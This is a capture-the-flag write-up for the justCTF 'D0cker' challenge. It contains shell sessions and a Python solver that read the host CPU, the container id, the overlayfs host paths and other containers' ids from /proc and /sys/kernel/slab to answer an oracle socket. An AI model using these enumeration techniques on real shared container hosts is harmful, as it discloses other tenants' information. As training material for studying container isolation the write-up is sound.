---
# System prepended metadata

title: D0cker

---

# D0cker

In this challenge, we connect to a server which spawns us a Docker container. On the filesystem, there is an `oracle.sock` with which we have to communicate and we have to find answers to its questions.


```
➜  pwn_docker git:(master) nc docker-ams32.nc.jctf.pro 1337

Access to this challenge is rate limited via hashcash!
Please use the following command to solve the Proof of Work:
hashcash -mb26 srstylyd

Your PoW: 1:26:210131:srstylyd::j48cYbN3LycmgT9f:000000004U6N/
1:26:210131:srstylyd::j48cYbN3LycmgT9f:000000004U6N/
[*] Spawning a task manager for you...
[*] Spawning a Docker container with a shell for ya, with a timeout of 10m :)
[*] Your task is to communicate with /oracle.sock and find out the answers for its questions!
[*] You can use this command for that:
[*]   socat - UNIX-CONNECT:/oracle.sock
[*] PS: If the socket dies for some reason (you cannot connect to it) just exit and get into another instance

groups: cannot find name for group ID 1000

I have no name!@694ff9e7ac41:/$ ls -la /
ls -la /
total 56
drwxr-xr-x   1 root root 4096 Jan 31 18:37 .
drwxr-xr-x   1 root root 4096 Jan 31 18:37 ..
-rwxr-xr-x   1 root root    0 Jan 31 18:37 .dockerenv
lrwxrwxrwx   1 root root    7 Jan 19 01:01 bin -> usr/bin
drwxr-xr-x   2 root root 4096 Apr 15  2020 boot
drwxr-xr-x   5 root root  360 Jan 31 18:37 dev
drwxr-xr-x   1 root root 4096 Jan 31 18:37 etc
drwxr-xr-x   2 root root 4096 Apr 15  2020 home
lrwxrwxrwx   1 root root    7 Jan 19 01:01 lib -> usr/lib
lrwxrwxrwx   1 root root    9 Jan 19 01:01 lib32 -> usr/lib32
lrwxrwxrwx   1 root root    9 Jan 19 01:01 lib64 -> usr/lib64
lrwxrwxrwx   1 root root   10 Jan 19 01:01 libx32 -> usr/libx32
drwxr-xr-x   2 root root 4096 Jan 19 01:01 media
drwxr-xr-x   2 root root 4096 Jan 19 01:01 mnt
drwxr-xr-x   2 root root 4096 Jan 19 01:01 opt
srwxrwxrwx   1 root root    0 Jan 31 18:37 oracle.sock
dr-xr-xr-x 153 root root    0 Jan 31 18:37 proc
drwx------   2 root root 4096 Jan 19 01:04 root
drwxr-xr-x   1 root root 4096 Jan 21 03:38 run
lrwxrwxrwx   1 root root    8 Jan 19 01:01 sbin -> usr/sbin
drwxr-xr-x   2 root root 4096 Jan 19 01:01 srv
dr-xr-xr-x  13 root root    0 Jan 31 18:37 sys
drwxrwxrwt   1 root root 4096 Jan 30 20:11 tmp
drwxr-xr-x   1 root root 4096 Jan 19 01:01 usr
drwxr-xr-x   1 root root 4096 Jan 19 01:04 var

I have no name!@694ff9e7ac41:/$ mount | grep sock
mount | grep sock
/dev/vda1 on /oracle.sock type ext4 (rw,relatime)
```


## Level 1
We connect to the oracle as the challenge suggests, by using `socat - UNIX-CONNECT:/oracle.sock`. 
Alternatively a `python3` script can be used (which is helpful later on) as there is Python 3 interpreter in the container.

```
I have no name!@694ff9e7ac41:/$ socat - UNIX-CONNECT:/oracle.sock
socat - UNIX-CONNECT:/oracle.sock
Welcome to the
    ______ _____      _
    |  _  \  _  |    | |
    | | | | |/' | ___| | _____ _ __
    | | | |  /| |/ __| |/ / _ \ '__|
    | |/ /\ |_/ / (__|   <  __/ |
    |___/  \___/ \___|_|\_\___|_|
    oracle!
I will give you the flag if you can tell me certain information about the host (:
ps: brute forcing is not the way to go.
Let's go!
[Level 1] What is the full *cpu model* model used?
```

In the first level the oracle asks us about the *cpu model used*. We can find this in the `/proc/cpuinfo` file:
```
I have no name!@8b6ad5efc924:/$ cat /proc/cpuinfo | grep -i model
cat /proc/cpuinfo | grep -i model
model		: 85
model name	: Intel(R) Xeon(R) Gold 6140 CPU @ 2.30GHz
model		: 85
model name	: Intel(R) Xeon(R) Gold 6140 CPU @ 2.30GHz
model		: 85
model name	: Intel(R) Xeon(R) Gold 6140 CPU @ 2.30GHz
model		: 85
model name	: Intel(R) Xeon(R) Gold 6140 CPU @ 2.30GHz
```


## Second level
In the second level, thhe oracle asks about *our full container id*:
```
[Level 1] What is the full *cpu model* model used?
Intel(R) Xeon(R) Gold 6140 CPU @ 2.30GHz
Intel(R) Xeon(R) Gold 6140 CPU @ 2.30GHz
That was easy :)
[Level 2] What is your *container id*?
```

This can be found as part of the `/proc/self/cgroup` file:
```
I have no name!@8b6ad5efc924:/$ cat /proc/self/cgroup | head -n2
cat /proc/self/cgroup
12:cpuset:/docker/8b6ad5efc924c8bd3a09f8b75d0b67c157542e1a0c85db3b5f1ff271e9039259
11:hugetlb:/docker/8b6ad5efc924c8bd3a09f8b75d0b67c157542e1a0c85db3b5f1ff271e9039259
```

## Third level
Now, the oracle says it creates a `/secret` file inside of our container and wants us to read this value:

```
[Level 2] What is your *container id*?
8b6ad5efc924c8bd3a09f8b75d0b67c157542e1a0c85db3b5f1ff271e9039259
8b6ad5efc924c8bd3a09f8b75d0b67c157542e1a0c85db3b5f1ff271e9039259
[Level 3] Let me check if you truly given me your container id. I created a /secret file on your machine. What is the hidden secret?
```

If we fail to answer, we can read this file:
```
[Level 3] Let me check if you truly given me your container id. I created a /secret file on your machine. What is the hidden secret?
asd
asd
Meh, that is not the secret I wrote into your /secret path. Goodbye.
I have no name!@8b6ad5efc924:/$ cat /secret
cat /secret
OBojABAvUcVCWcpOCgQwLtLxxmgUpQQFSQjjwDpTYVskjFvBAmLZjheaGPfWOGKOI have no name!@8b6ad5efc924:/$
```

However, this file is re-created every time we get to level 3 and so we need to read it *at the same time as we talk to the oracle*.

I guess there are multiple ways to do this, but the easiest is probably to write a Python script to do so (and save it in `/tmp` with `vim`, as it is also in the container).

For this I have written the following code:

```py
import sys
import socket
import time
import subprocess


with open('/proc/self/cgroup') as f:
    my_container_id = f.read().splitlines()[0].split('docker/')[1]

print("MY CONTAINER ID: %s" % my_container_id)

cpuinfo_lines = open('/proc/cpuinfo').read().splitlines()
cpumodel_line = next(line for line in cpuinfo_lines if 'model name' in line)
cpumodel = cpumodel_line.split(': ')[1].strip()

sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
sock.connect('/oracle.sock')

print(sock.recv(864))
sock.sendall((cpumodel + '\n').encode())
print(sock.recv(len(b'That was easy :)\n[Level 2] What is your *container id*?\n')))
sock.sendall((my_container_id + '\n').encode())
print(sock.recv(500))

time.sleep(1)
with open('/secret') as f:
    secret = f.read()
print("READ SECRET: %s" % secret)
sock.sendall((secret + '\n').encode())
print(sock.recv(500))
```

If we launch it, we get to level 4:
```
I have no name!@d1d8c566419a:/$ cd /tmp
cd /tmp
I have no name!@d1d8c566419a:/tmp$ vim a.py
vim a.py
I have no name!@d1d8c566419a:/tmp$ python3 a.py
python3 a.py
MY CONTAINER ID: d1d8c566419a8c763c8515042d0d292907c4280e9d9c2c8e446fa92a4c444e0e
b"Welcome to the\n    ______ _____      _             \n    |  _  \\  _  |    | |            \n    | | | | |/' | ___| | _____ _ __ \n    | | | |  /| |/ __| |/ / _ \\ '__|\n    | |/ /\\ |_/ / (__|   <  __/ |   \n    |___/  \\___/ \\___|_|\\_\\___|_|   \n    oracle!\nI will give you the flag if you can tell me certain information about the host (:\nps: brute forcing is not the way to go.\nLet's go!\n[Level 1] What is the full *cpu model* model used?\n"
b'That was easy :)\n[Level 2] What is your *container id*?\n'
b'[Level 3] Let me check if you truly given me your container id. I created a /secret file on your machine. What is the hidden secret?\n'
READ SECRET: nuKJfSaqzyyIrxfpkwFfzYAQWwmljCXBNztXBdffZiPacXRVVIIAxGIxAwnlPFRX
b'[Level 4] Okay but... where did I actually write it? What is the path on the host that I wrote the /secret file to which then appeared in your container? (ps: there are multiple paths which you should be able to figure out but I only match one of them)\n'
```

## Level 4

Now, we have to answer with a path the `/secret` file is visible on the host. Interestingly, because of how overlayfs works, which is the filesystem used by Docker in this challenge, the host path is present in the `/proc/mounts` file:
```
I have no name!@d1d8c566419a:/tmp$ cat /proc/mounts | head -n1
cat /proc/mounts | head -n1
overlay / overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/TNHN4TXZQR7PSITKI3EJKZ7SSE:/var/lib/docker/overlay2/l/JQG4DHIHDNUJUSNWI3BNOCS3GO:/var/lib/docker/overlay2/l/EPGEJI72R5AVERPF7MGK2ROUJ5:/var/lib/docker/overlay2/l/J3TTTPZ6J6HOAOEKZQQQII6SXE:/var/lib/docker/overlay2/l/BFOV7S6MFX4532OSVYTKYP37SP,upperdir=/var/lib/docker/overlay2/07bd747e7e08a4c28de6d20baa8236674f1a265d9640273447c23cd50f41150c/diff,workdir=/var/lib/docker/overlay2/07bd747e7e08a4c28de6d20baa8236674f1a265d9640273447c23cd50f41150c/work,xino=off 0 0
```

The part that interests us is `upperdir` as this is the directory used for files in the overlayfs layer we change files in. So the `/secret` path is eventually `/var/lib/docker/overlay2/07bd747e7e08a4c28de6d20baa8236674f1a265d9640273447c23cd50f41150c/diff/secret`.

We can extend our Python script with this:
```
with open('/proc/self/mounts') as f:
    mounts = f.read().splitlines()
    upperdir = [i for i in mounts if 'upperdir=' in i][0]
    upperdir = upperdir[upperdir.index('upperdir=')+len('upperdir='):]
    upperdir = upperdir.split(',')[0]

path = upperdir+'/secret'
print("PATH IS: %s" % path)

sock.sendall((path + '\n').encode())
print(sock.recv(500))
```

Then, we will get:
```
I have no name!@d1d8c566419a:/tmp$ python3 a.py
python3 a.py
MY CONTAINER ID: d1d8c566419a8c763c8515042d0d292907c4280e9d9c2c8e446fa92a4c444e0e
b"Welcome to the\n    ______ _____      _             \n    |  _  \\  _  |    | |            \n    | | | | |/' | ___| | _____ _ __ \n    | | | |  /| |/ __| |/ / _ \\ '__|\n    | |/ /\\ |_/ / (__|   <  __/ |   \n    |___/  \\___/ \\___|_|\\_\\___|_|   \n    oracle!\nI will give you the flag if you can tell me certain information about the host (:\nps: brute forcing is not the way to go.\nLet's go!\n[Level 1] What is the full *cpu model* model used?\n"
b'That was easy :)\n[Level 2] What is your *container id*?\n'
b'[Level 3] Let me check if you truly given me your container id. I created a /secret file on your machine. What is the hidden secret?\n'
READ SECRET: SwKrVgQpsxiumerauAJeGlAGYfKOINwLRDkoPYvWnpnQGRlEYQdYprOpWMUwjsrM
b'[Level 4] Okay but... where did I actually write it? What is the path on the host that I wrote the /secret file to which then appeared in your container? (ps: there are multiple paths which you should be able to figure out but I only match one of them)\n'
PATH IS: /var/lib/docker/overlay2/07bd747e7e08a4c28de6d20baa8236674f1a265d9640273447c23cd50f41150c/diff/secret
b'[Level 5] Good! Now, can you give me an id of any *other* running container?\n'
```

## Level 5

In level 5 we have to find out an id of another container. This can be given e.g. by running another container, but, the reality is that other container ids can be found in `/sys` (or sysfs) paths, due to cgroups debug configuration present in this kernel.

Actually, I believe this is a bug and I reported it to Docker, but they did not fix it (yet?). More information can be found in this presentation: https://docs.google.com/presentation/d/1VpXqzPIPrfIPSIiua5ClNkjKAzM3uKlyAKUf0jBqoUI/


## Level 6

In level 6, we are asked about the oracle container id. For this, one can find ALL container ids using the previous technique and then try each of them.

A full solver script and its output can be seen below:
```
import sys
import socket
import time
import subprocess
import re

CONTAINER_ID_REGEX = '[a-z0-9]{64}'

with open('/proc/self/cgroup') as f:
    my_container_id = f.read().splitlines()[0].split('docker/')[1]

print("MY CONTAINER ID: %s" % my_container_id)

cpuinfo_lines = open('/proc/cpuinfo').read().splitlines()
cpumodel_line = next(line for line in cpuinfo_lines if 'model name' in line)
cpumodel = cpumodel_line.split(': ')[1].strip()


def get_container_ids():
    data = subprocess.check_output('ls -l /sys/kernel/slab/*/cgroup/', shell=True).decode().splitlines()
    cgroups = set(line.split('(')[-1][:-1].split(':')[1] for line in data if '(' in line and line[-1] == ')')
    return cgroups

def filter_container_ids(iterable):
    return [
        i for i in iterable if re.match(CONTAINER_ID_REGEX, i)
    ]

all_container_ids = filter_container_ids(get_container_ids())

def attempt(target_id):
    sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
    sock.connect('/oracle.sock')

    print(sock.recv(864))
    sock.sendall((cpumodel + '\n').encode())
    print(sock.recv(len(b'That was easy :)\n[Level 2] What is your *container id*?\n')))
    sock.sendall((my_container_id + '\n').encode())
    print(sock.recv(500))

    time.sleep(1)
    with open('/secret') as f:
        secret = f.read()
    print("READ SECRET: %s" % secret)
    sock.sendall((secret + '\n').encode())
    print(sock.recv(500))

    with open('/proc/self/mounts') as f:
        mounts = f.read().splitlines()
        upperdir = [i for i in mounts if 'upperdir=' in i][0]
        upperdir = upperdir[upperdir.index('upperdir=')+len('upperdir='):]
        upperdir = upperdir.split(',')[0]

    path = upperdir+'/secret'
    print("PATH IS: %s" % path)

    sock.sendall((path + '\n').encode())
    print(sock.recv(500))

    sock.sendall((target_id + '\n').encode())
    print(sock.recv(500))
    sock.sendall((target_id + '\n').encode())
    flag = sock.recv(500)
    if b'justCTF' in flag:
        print(flag)
        sys.exit(0)

for container_id in all_container_ids:
    attempt(container_id)
```
    
    
Output:
```
➜  pwn_docker git:(master) nc docker-ams3.nc.jctf.pro 1337

Access to this challenge is rate limited via hashcash!
Please use the following command to solve the Proof of Work:
hashcash -mb26 qwfnelht

Your PoW: 1:26:210131:qwfnelht::h+td0j0UshHduXoB:000000002Mwjf
1:26:210131:qwfnelht::h+td0j0UshHduXoB:000000002Mwjf
[*] Spawning a task manager for you...
[*] Spawning a Docker container with a shell for ya, with a timeout of 10m :)
[*] Your task is to communicate with /oracle.sock and find out the answers for its questions!
[*] You can use this command for that:
[*]   socat - UNIX-CONNECT:/oracle.sock
[*] PS: If the socket dies for some reason (you cannot connect to it) just exit and get into another instance

groups: cannot find name for group ID 1000
I have no name!@4d461268ca63:/$ cd /tmp
cd /tmp
I have no name!@4d461268ca63:/tmp$ vim a.py
vim a.py
I have no name!@4d461268ca63:/tmp$ python3 a.py
python3 a.py
MY CONTAINER ID: 4d461268ca6389cb9819370e5d16cd0fbd90c7cfbbc5a6e61f2c08c0cf05d36e
b"Welcome to the\n    ______ _____      _             \n    |  _  \\  _  |    | |            \n    | | | | |/' | ___| | _____ _ __ \n    | | | |  /| |/ __| |/ / _ \\ '__|\n    | |/ /\\ |_/ / (__|   <  __/ |   \n    |___/  \\___/ \\___|_|\\_\\___|_|   \n    oracle!\nI will give you the flag if you can tell me certain information about the host (:\nps: brute forcing is not the way to go.\nLet's go!\n[Level 1] What is the full *cpu model* model used?\n"
b'That was easy :)\n[Level 2] What is your *container id*?\n'
b'[Level 3] Let me check if you truly given me your container id. I created a /secret file on your machine. What is the hidden secret?\n'
READ SECRET: VGWhBDKMnUAkibWVCIhLfBTEgHgCSnYFcXYlGrsJtloeVndueylkOOFTmaOWxpLZ
b'[Level 4] Okay but... where did I actually write it? What is the path on the host that I wrote the /secret file to which then appeared in your container? (ps: there are multiple paths which you should be able to figure out but I only match one of them)\n'
PATH IS: /var/lib/docker/overlay2/d21afca74baff438a964e910e351451fd3aa99448da2842def3f6dd9be415118/diff/secret
b'[Level 5] Good! Now, can you give me an id of any *other* running container?\n'
b"[Level 6] Now, let's go with the real and final challenge. I, the Docker Oracle, am also running in a container. What is my container id?\n"

# (...) - truncated many many lines here

b"Welcome to the\n    ______ _____      _             \n    |  _  \\  _  |    | |            \n    | | | | |/' | ___| | _____ _ __ \n    | | | |  /| |/ __| |/ / _ \\ '__|\n    | |/ /\\ |_/ / (__|   <  __/ |   \n    |___/  \\___/ \\___|_|\\_\\___|_|   \n    oracle!\nI will give you the flag if you can tell me certain information about the host (:\nps: brute forcing is not the way to go.\nLet's go!\n[Level 1] What is the full *cpu model* model used?\n"
b'That was easy :)\n[Level 2] What is your *container id*?\n'
b'[Level 3] Let me check if you truly given me your container id. I created a /secret file on your machine. What is the hidden secret?\n'
READ SECRET: xVYFjhtWEMLvAwqaJigvPdgUByAkLQKItUdURFGBXvtHbToyfPtrXKGOzHQycioP
b'[Level 4] Okay but... where did I actually write it? What is the path on the host that I wrote the /secret file to which then appeared in your container? (ps: there are multiple paths which you should be able to figure out but I only match one of them)\n'
PATH IS: /var/lib/docker/overlay2/d21afca74baff438a964e910e351451fd3aa99448da2842def3f6dd9be415118/diff/secret
b'[Level 5] Good! Now, can you give me an id of any *other* running container?\n'
b"[Level 6] Now, let's go with the real and final challenge. I, the Docker Oracle, am also running in a container. What is my container id?\n"
b'[Levels cleared] Well done! Here is your flag!\njustCTF{maaybe-Docker-will-finally-fix-this-after-this-task?}\n\nGood job o/\n'
```

And the flag is `justCTF{maaybe-Docker-will-finally-fix-this-after-this-task?}`.